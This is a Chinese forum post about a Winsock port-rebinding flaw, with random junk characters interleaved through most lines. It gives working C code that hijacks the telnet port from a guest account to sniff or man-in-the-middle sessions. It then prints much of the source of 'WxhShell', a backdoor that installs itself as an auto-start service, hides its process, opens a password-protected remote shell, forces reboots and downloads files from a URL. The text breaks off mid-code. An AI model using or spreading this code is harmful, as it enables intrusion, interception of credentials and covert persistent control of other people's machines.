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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nBg  tK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wSPwa,)7s  
Sv>bU4LHf  
  saddr.sin_family = AF_INET; bdYx81  
Eb~e=){  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {lO>i&mx  
ZNUSHxA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9%iv?/o*L  
aGs\zCAP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (dnaT-M3  
7*>(C*q=  
  这意味着什么?意味着可以进行如下的攻击: =yCz!vc  
]!'}{[1}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0\KDa$ '1k  
&6O0h0Vy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Y$@$)   
D:=Q)Uh0I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W6&mXJ^3L  
fN_Ilg)t?5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ozUsp[W>  
f=cj5T:[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \N a  
S2PPwCU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  %G>  
:zK\t5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LUKt!I0l  
L43]0k  
  #include cM Z-  
  #include aS/MlMf  
  #include 8S#TOeQ  
  #include    S%IhpTSe6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VlFhfOR6t  
  int main() 3R?6{.  
  { p/ au.mc  
  WORD wVersionRequested; Mh"vH0\Lj  
  DWORD ret; XtftG7r9S  
  WSADATA wsaData; c.{t +OR  
  BOOL val; j|w_BO 9  
  SOCKADDR_IN saddr; L IN$Y  
  SOCKADDR_IN scaddr; \F8 :6-  
  int err; q c DJ  
  SOCKET s; fl+dL#]  
  SOCKET sc; 9R3YUW}s  
  int caddsize; %T,cR>lw  
  HANDLE mt; tdOox87YK  
  DWORD tid;   COFCa&m9c  
  wVersionRequested = MAKEWORD( 2, 2 ); r 3FUddF'  
  err = WSAStartup( wVersionRequested, &wsaData ); B#, TdP]/  
  if ( err != 0 ) { EY}*}-3  
  printf("error!WSAStartup failed!\n");  CT[CM+  
  return -1; JWV n@)s  
  } V2o1~R~  
  saddr.sin_family = AF_INET; 58[.]f~0  
   F-GrQd:O=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %'&_Po\  
1qE*M7_:E>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =v6qr~  
  saddr.sin_port = htons(23); JLh{>_Rr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ocf:73t  
  { V*%Lc9<d  
  printf("error!socket failed!\n"); r68d\N`.  
  return -1; %mNd9 ]<  
  } XLj|y#h  
  val = TRUE; n0vhc;d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ={B?hjo<-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W/G75o~6  
  { PNRZUZ4Z|  
  printf("error!setsockopt failed!\n"); @WnW @'*F  
  return -1; H:4? sR3  
  } Jk_ }y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .2x`Fj;o1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v@Bk)Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +P|Z1a -jB  
7CSd}@71\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u iR[V~  
  { zw}Wm4OH  
  ret=GetLastError(); a]t| /Mq  
  printf("error!bind failed!\n"); Z ItS(o J.  
  return -1; -m_H]<lWZ  
  } 8^5@J) R8  
  listen(s,2); 2+}hsGnp  
  while(1) LLd5Z44v  
  { *DuP~8  
  caddsize = sizeof(scaddr); (3QG  
  //接受连接请求 >"<<hjKJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8?G534*r@2  
  if(sc!=INVALID_SOCKET) dH~i  
  { [w?v !8l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y~P* !g  
  if(mt==NULL) "#=WD  
  {  li  
  printf("Thread Creat Failed!\n"); fT0+i nRG  
  break; *ulkqpO  
  } ;{Tf:j'g  
  } }HxC ~J"  
  CloseHandle(mt); ]?UK98uS\A  
  } 6GsB*hW  
  closesocket(s); 2<TpNGXM_  
  WSACleanup(); U$EQeb  
  return 0; KCi0v  
  }   gmdA1$c  
  DWORD WINAPI ClientThread(LPVOID lpParam) .Gn-`  
  { * %w8bB  
  SOCKET ss = (SOCKET)lpParam; 2'7)D}p  
  SOCKET sc; :0vKt 6>Sp  
  unsigned char buf[4096]; 8~:s$~&r  
  SOCKADDR_IN saddr; B<!WAw+  
  long num; 68nBc~iAm  
  DWORD val; Q=#@g  
  DWORD ret; *9|*21  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ITf4PxF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Tw@:sWC  
  saddr.sin_family = AF_INET; ^-dhz88wV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /5j]laYK)  
  saddr.sin_port = htons(23); a4x(lx&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /(?,S{]  
  { VZCCMh-  
  printf("error!socket failed!\n"); yN9setw*,M  
  return -1; \><v1x>;  
  } #jT=;G7f2  
  val = 100; R[f@g;h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 $ Ud\   
  { LHHDD\X   
  ret = GetLastError(); c-=z<:Kf  
  return -1;  y aLc~K  
  } ` l}+BI`4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BB3wG*q  
  { SoNT12>  
  ret = GetLastError(); \) vI-  
  return -1; ;)'  
  } {]3Rk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~s -"u *>  
  { IpKpj"eoLy  
  printf("error!socket connect failed!\n"); Oi,:q&  
  closesocket(sc); +|6 u 0&R^  
  closesocket(ss); ]=jpqxlx  
  return -1; OG{vap)  
  } DW0UcLO  
  while(1) DRmN+2I  
  { }D*5PV%d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iU"{8K,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %-#rzeaW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f]DO2 r  
  num = recv(ss,buf,4096,0); TUM7(-,9  
  if(num>0) ZGC*BP/  
  send(sc,buf,num,0); >NAg*1  
  else if(num==0) /4Jm]"  
  break; f~v@;/HL  
  num = recv(sc,buf,4096,0); nW!pOTJq21  
  if(num>0) +=g9T`YbE  
  send(ss,buf,num,0); (VB-5&b  
  else if(num==0) NG\^>.8  
  break; Iv51,0A  
  } H* vd  
  closesocket(ss); Cbjx{  
  closesocket(sc); < SvjvV  
  return 0 ; WQ)vu&;  
  } &v.Nj9{zi  
q+cx.Rc#  
r>;6>ZMe  
========================================================== I9g!#lbl  
Jpr`E&%I6  
下边附上一个代码,,WXhSHELL JQk][3Rv  
g: ,*Y^T  
========================================================== u>h|A(<  
7f#r&~=  
#include "stdafx.h" GcCMCR3  
Wv-nRDNG  
#include <stdio.h> v>E3|w%  
#include <string.h> jZP~!q  
#include <windows.h> [ @`Ki  
#include <winsock2.h> Q4QF_um  
#include <winsvc.h> YLFM3IaP  
#include <urlmon.h> [FN4_  
))eQZ3ap9  
#pragma comment (lib, "Ws2_32.lib") :JfT&YYi"  
#pragma comment (lib, "urlmon.lib") Nk@ag)  
(#5TM1/A  
#define MAX_USER   100 // 最大客户端连接数 H3Sfz'  
#define BUF_SOCK   200 // sock buffer 'o% .Q x  
#define KEY_BUFF   255 // 输入 buffer RAi]9`*7  
drW}w+ !  
#define REBOOT     0   // 重启 z<z\)  
#define SHUTDOWN   1   // 关机 kbKGGn4u  
X}R Q&k  
#define DEF_PORT   5000 // 监听端口 8w L%(p  
m5KAKpCR,  
#define REG_LEN     16   // 注册表键长度 O cJ(i#Q~<  
#define SVC_LEN     80   // NT服务名长度 oC >l|?h,  
;vLg4k  
// 从dll定义API U[WR?J4~LX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jp viX#\S_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?*: mR|=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D<UX^hU   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); " UxKG+   
I%gDqfdL  
// wxhshell配置信息 BY!M(X jrZ  
struct WSCFG { M?m)<vMr*  
  int ws_port;         // 监听端口 .C?rToCY  
  char ws_passstr[REG_LEN]; // 口令 9w08)2$ Na  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^yp`<=  
  char ws_regname[REG_LEN]; // 注册表键名 i)mQ?Y#o  
  char ws_svcname[REG_LEN]; // 服务名 \*.u (8~2o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bZ_vb? n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5dem~YY5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d;WXlE;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZZ@1l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L"ob ))GF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,V{Cy`bi  
8CN~o|uN  
}; #Ss lH  
q:X&)f  
// default Wxhshell configuration LG> lj$hO  
struct WSCFG wscfg={DEF_PORT, -naoM  
    "xuhuanlingzhe", ("5Eed  
    1, 9&7$oI$!J  
    "Wxhshell", hB 36o9|9  
    "Wxhshell", J sc`^a%`'  
            "WxhShell Service", -]e@FNL  
    "Wrsky Windows CmdShell Service", [lbe_G;  
    "Please Input Your Password: ", >+ E  
  1, `6BjNV  
  "http://www.wrsky.com/wxhshell.exe", SJ;Kjq.Qo  
  "Wxhshell.exe" %X>P+6<=  
    }; })^%>yLfc|  
|6y(7Ha  
// 消息定义模块 )Ept yH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cO^}A(Ma(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2pn8PQfg)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vivU4:uH3  
char *msg_ws_ext="\n\rExit."; ;"j>k>tg  
char *msg_ws_end="\n\rQuit."; 7PG|e#  
char *msg_ws_boot="\n\rReboot..."; G$_=rHt_%  
char *msg_ws_poff="\n\rShutdown..."; q>H f2R  
char *msg_ws_down="\n\rSave to "; "+GKU)  
.L'eVLQe  
char *msg_ws_err="\n\rErr!"; :3$-Qv X  
char *msg_ws_ok="\n\rOK!"; +ZU@MOni  
"[M k5tM  
char ExeFile[MAX_PATH]; Y*q_>kps"  
int nUser = 0; [S#QGB19  
HANDLE handles[MAX_USER]; >UDb:N[  
int OsIsNt; R<AT}!mkR  
6i.!C5YX]  
SERVICE_STATUS       serviceStatus; Y[WL}:"93  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y4Fuh nb>  
[yf&]0  
// 函数声明 "? t@Y  
int Install(void); <oP"kh<D4  
int Uninstall(void); "2a&G3}t"  
int DownloadFile(char *sURL, SOCKET wsh); 2,.;Mdl  
int Boot(int flag); e~iPN.'1  
void HideProc(void); #V:28[  
int GetOsVer(void); QXg9ah~  
int Wxhshell(SOCKET wsl); >;M?f!  
void TalkWithClient(void *cs); 9Vh>ty1|_  
int CmdShell(SOCKET sock); QGI_aU  
int StartFromService(void); E,g5[s@  
int StartWxhshell(LPSTR lpCmdLine); jUg.Y98  
\$%q< _l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i!+Wv-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6l|,J`G  
Sx|)GTJJ|-  
// 数据结构和表定义 )Fw{|7@N  
SERVICE_TABLE_ENTRY DispatchTable[] = xKW`m  
{ O2 sAt3'  
{wscfg.ws_svcname, NTServiceMain}, bQelU  
{NULL, NULL} >t Ll|O+  
}; 1e(Q I) ~  
g (:%E  
// 自我安装 bL9EX$P  
int Install(void) ?!d\c(5Gt  
{ uxsfQ%3`#  
  char svExeFile[MAX_PATH]; )|SmB YV  
  HKEY key; :*0l*j  
  strcpy(svExeFile,ExeFile); =i:6&Y~VGq  
 J0Ik@  
// 如果是win9x系统,修改注册表设为自启动 t3b64J[A{  
if(!OsIsNt) { UI}df<Ge  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~|t 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |wYOO(!  
  RegCloseKey(key); T~" T%r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d9>k5!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rs?"pGz;  
  RegCloseKey(key); @M!Wos Rk  
  return 0; IS9}@5`'  
    } $&l} ABn  
  } 1P1"xT  
} c5f8pa *  
else { M^twD*  
*6b$l.Vs  
// 如果是NT以上系统,安装为系统服务 G*x"drP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6;8Jy  
if (schSCManager!=0) z/&2Se:  
{ "`'' eV3  
  SC_HANDLE schService = CreateService 8p)*;Y  
  ( RHOEyXhOA  
  schSCManager, ds9L4zfO  
  wscfg.ws_svcname, /y~ "n4CK~  
  wscfg.ws_svcdisp, Z F&aV?  
  SERVICE_ALL_ACCESS, a&*fk?o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gPrIu+|F  
  SERVICE_AUTO_START, f3u^:6U~  
  SERVICE_ERROR_NORMAL, M*x1{g C/  
  svExeFile, Ous_269cM  
  NULL, PIxd'B*MF  
  NULL, A,4|UA?-  
  NULL, d l<7jM?  
  NULL, 6I yD7PQ  
  NULL sMhUVc4  
  ); 00d<V:Aoy  
  if (schService!=0) Rl2*oOVz  
  { F7r!zKXZ  
  CloseServiceHandle(schService); Vs0T*4C=n  
  CloseServiceHandle(schSCManager); 5u=(zg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :UrS@W^B  
  strcat(svExeFile,wscfg.ws_svcname); j(*ZPo>oD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D:yj#&I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /y.+N`_  
  RegCloseKey(key); OE4hG xG  
  return 0; SK @%r  
    } 7@@,4_q E  
  } l(CMP!mY  
  CloseServiceHandle(schSCManager); wgeR%#DW  
} qek[p_7  
} OE=]/([  
D$wl.r  
return 1; $&!i3#FF  
} ~H)s>6>#v  
\ $PB~-Z  
// 自我卸载 @D3Y}nR:  
int Uninstall(void) N7b+GqYpF>  
{ e{<r<]/j  
  HKEY key; +v7mw<6s  
-/O_wqm#  
if(!OsIsNt) { ^lp#j;Df  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nhm)P_p   
  RegDeleteValue(key,wscfg.ws_regname); e[(XR_EY  
  RegCloseKey(key); mEUdJvSG(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rrSsQq  
  RegDeleteValue(key,wscfg.ws_regname); (<"uV%1  
  RegCloseKey(key); S3G9/  
  return 0; jM'kY|<g;  
  } c9c_7g'q-  
} >)&]Ss5J  
} S-$N!G~!  
else { :E>" z6H  
\:To>A32  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v9<'nU WVR  
if (schSCManager!=0) $z>L $,c>  
{ 2 ;z~xR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E W {vF|  
  if (schService!=0) zP8a=Iv  
  { nSM8o<)H  
  if(DeleteService(schService)!=0) { %rmn+L),;  
  CloseServiceHandle(schService); U>,E]'  
  CloseServiceHandle(schSCManager); ka^sOC+Y  
  return 0; K9*vWoP'  
  } 122%KS  
  CloseServiceHandle(schService); 8-2e4^ g(  
  } yyj?hR@rZ  
  CloseServiceHandle(schSCManager); w4m)lQM  
} {7%W /C#A  
} DLWG0$#!  
zv^km5by  
return 1; DhVF^=x$  
} R@+%~"Z  
X &z|im'd  
// 从指定url下载文件 @]rl2Qqe  
int DownloadFile(char *sURL, SOCKET wsh) nF Mc'm  
{ m=hlim;P,  
  HRESULT hr;  *XlbD  
char seps[]= "/"; gtV^6(Y  
char *token; ?51Y&gOEZ  
char *file; !6R;fD#^s  
char myURL[MAX_PATH]; "zn<\z$l  
char myFILE[MAX_PATH]; * 7<{Xbsj^  
0I`)<o-  
strcpy(myURL,sURL); su/!<y  
  token=strtok(myURL,seps); .}wVM`81z  
  while(token!=NULL) q, 8TOn  
  { oV(|51(f  
    file=token; X4c|*U=4  
  token=strtok(NULL,seps); )dv w.X  
  } _5nS!CN  
8%@![$q<g  
GetCurrentDirectory(MAX_PATH,myFILE); ?nLlZpZ2v  
strcat(myFILE, "\\"); Cw*:`  
strcat(myFILE, file); W7_j;7'  
  send(wsh,myFILE,strlen(myFILE),0); *CIR$sS  
send(wsh,"...",3,0); |B<;4ISaRI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BkP'b{z|  
  if(hr==S_OK) nD8 Qeem@  
return 0; iB]xYfQ&@V  
else lhx"<kR 4  
return 1; ;77#$H8)  
X3bPBv  
} U/W<Sa\`  
Hd/|f;  
// 系统电源模块 YT*_ vmJV  
int Boot(int flag) [eb?Fd~WB]  
{ s#8mD !T|  
  HANDLE hToken; pdz_qj!Z  
  TOKEN_PRIVILEGES tkp; d3m!34ml  
hnk,U:7}  
  if(OsIsNt) { LXZ0up-B-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :"vW;$1 }  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cggu#//Z}Q  
    tkp.PrivilegeCount = 1; Ap :mc:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wb#ZRmx}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e2~$=f-  
if(flag==REBOOT) { O ;34~k   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @%oHt*u  
  return 0; X6hp}  
} Skb d'j  
else { Ke*tLnO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6D=9J%;  
  return 0; u%o]r9xl'  
} u n)YK  
  } 3>~W_c9@  
  else { Y#/mE!&  
if(flag==REBOOT) { Rz #&v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~yGD("X  
  return 0;  .J0Tn,m  
} XTibx;yd<  
else { uPmK:9]3R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k Y}r^NaQA  
  return 0; [1LlzCAFBw  
} pM|m*k  
} DR%16y<h  
W RBCNra  
return 1; ZM6`:/lc  
} K+s@.D9J  
SU,#:s(  
// win9x进程隐藏模块 ~$WBcqo  
void HideProc(void) c\J?J>xz  
{ !Qqi%  
eTeZ^G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +E7Os|m  
  if ( hKernel != NULL ) nT;Rwz$3  
  { **D3.-0u&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NMM$ m!zg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K&\ q6bU  
    FreeLibrary(hKernel);  W0&x0  
  } __3s3YG  
NrVE[Z#  
return; ma gZmY~  
} dr[sSBTY"  
xA&RMu&  
// 获取操作系统版本 @MoBR.  
int GetOsVer(void) c)b/"  
{ tF/)DZ.to  
  OSVERSIONINFO winfo; !:GlxmtoW?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AgBXB%).  
  GetVersionEx(&winfo); d :a*;F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RCL}bE  
  return 1; 6XFLWN-)  
  else 9i=HZ\s3  
  return 0; 6w"_sK?  
} ZNKopA(=|%  
z AZ+'9LB  
// 客户端句柄模块 '1 }ybSG  
int Wxhshell(SOCKET wsl)  s-Z<  
{ >,9ah"K_x  
  SOCKET wsh; mnG\qsKNLK  
  struct sockaddr_in client; BQ;F`!Hx?  
  DWORD myID; >, 9R :X(  
tQ@%3`  
  while(nUser<MAX_USER) _oILZ,  
{ r'bPSu,  
  int nSize=sizeof(client); UqA<rW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }MiEbLduN  
  if(wsh==INVALID_SOCKET) return 1; 7eR%zNDa  
q;)+O#CR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pnpx`u;  
if(handles[nUser]==0) 4#D<#!]^  
  closesocket(wsh); 7~I*u6zY  
else L,+m5wKj[  
  nUser++; }Z,xF`  
  } 0p31C7!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e!B>M{  
^E#i5d+'N  
  return 0; Od,P,t9  
} *B3 4  
,u<oAI`  
// 关闭 socket gB)Cmw*  
void CloseIt(SOCKET wsh) k vQ] }`a  
{ V#P`FX  
closesocket(wsh); 0D s W1  
nUser--; 'Zket=Sm;  
ExitThread(0); r3BQo[ 't  
} Qf .ASC   
,O'#7Dj  
// 客户端请求句柄 0#d:<+4D  
void TalkWithClient(void *cs) l(<=JUO;  
{ 6 6%_p]U  
m+a\NXWR?N  
  SOCKET wsh=(SOCKET)cs; =>LQW;Sjz  
  char pwd[SVC_LEN]; 6SqS\ 8  
  char cmd[KEY_BUFF]; LK}*k/eG  
char chr[1]; &*nq.l76X`  
int i,j; 1zP)~p3a  
Gpb<,v_3  
  while (nUser < MAX_USER) { g.wDg  
hRFm]q  
if(wscfg.ws_passstr) { u(Kof'p7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sA|!b.q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {@7xOOAw  
  //ZeroMemory(pwd,KEY_BUFF); /)-OK7x  
      i=0; y(fJ{k   
  while(i<SVC_LEN) { 2gM/".|{  
tYk!Y/O}  
  // 设置超时 GpZ}xY'|w,  
  fd_set FdRead; @4]} J-3  
  struct timeval TimeOut; JGRL&MG4  
  FD_ZERO(&FdRead); unB`n'L  
  FD_SET(wsh,&FdRead); nc[Kh8N9  
  TimeOut.tv_sec=8; xo.k:F  
  TimeOut.tv_usec=0; iRIO~XVo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )7jJ3G*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xCYK"v6\  
4c'F.0^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sd,KB+)  
  pwd=chr[0]; WcOnv'l,  
  if(chr[0]==0xd || chr[0]==0xa) { +.2O Z3(  
  pwd=0; Q ^{XM  
  break; 7@NV|Idtd  
  } uz /Wbc>y  
  i++; .dO8I/lhV  
    } NW4tQ;ad  
t[4V1:  
  // 如果是非法用户,关闭 socket H 2JKQm_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R8%%EEB  
} Rh,a4n?W  
'o]kOp@q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @9e}kiW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ak"W/"2:  
_C54l  
while(1) { !Pc&Sg  
Wi+}qO  
  ZeroMemory(cmd,KEY_BUFF); F^Y%Q(Dd7w  
eq6>C7.$  
      // 自动支持客户端 telnet标准   VxAG= E  
  j=0; V]5MIiNl  
  while(j<KEY_BUFF) { oiTSpd-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h3rVa6cxM  
  cmd[j]=chr[0]; xS+!/pBf"Y  
  if(chr[0]==0xa || chr[0]==0xd) { WS6;ad;|  
  cmd[j]=0; BS|$-i5L  
  break; _zK ~9/5  
  } I&wJK'GM`  
  j++; 2)MX<prH  
    } ?D_^8\R  
E;rS"'D:  
  // 下载文件 `V2doV)  
  if(strstr(cmd,"http://")) { HJ+ Q7)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v83@J~  
  if(DownloadFile(cmd,wsh)) ' +f(9/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X6Q\NJ"B  
  else H{4_,2h =m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :SD#>eD0  
  } =eyPo(B  
  else { mfx-Ja_a  
5q;c=oRUj  
    switch(cmd[0]) { z)ndj 1,#)  
  Sfa;;7W@R  
  // 帮助 p|>m 2(|  
  case '?': { ;Sl%I+?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KsSIX  
    break; -nQ(.#-n  
  } SajasjE!^1  
  // 安装 +n>p"+c  
  case 'i': { QmC#1%@a  
    if(Install())  c+upoM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MG,)|XpyWJ  
    else ZV ;~IaBL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qH4+i STnV  
    break; t"nxny9&  
    } 7nPjeh  
  // 卸载 va2FgW`Bd+  
  case 'r': { ,*.qa0E#W  
    if(Uninstall()) &,tj.?NCn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DEW;0ic  
    else 3Dx@rW\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - VdCj%r>  
    break; AfpC >>=@  
    } NXMZTZpB7  
  // 显示 wxhshell 所在路径 (tCBbPW6T?  
  case 'p': { zSagsH |W  
    char svExeFile[MAX_PATH]; *Ksk1T+>  
    strcpy(svExeFile,"\n\r"); '<U4D  
      strcat(svExeFile,ExeFile); pv,z$3Q  
        send(wsh,svExeFile,strlen(svExeFile),0); B:VGa<lx5  
    break; =wMq!mBd  
    } Z#%s/TL  
  // 重启 +`7!4gxwK!  
  case 'b': { ~(`&hYE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NQcNY=  
    if(Boot(REBOOT)) aMJJ|iiU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vDIsawbHD  
    else { QIfP%,LT  
    closesocket(wsh); `$MO;Fv,G  
    ExitThread(0); uT>"(wnJ|  
    } jN!VrRA  
    break; j dkqJ4&i  
    } Dxe]LES\]  
  // 关机 b%].D(qBy  
  case 'd': { 7ufTmz#j<  
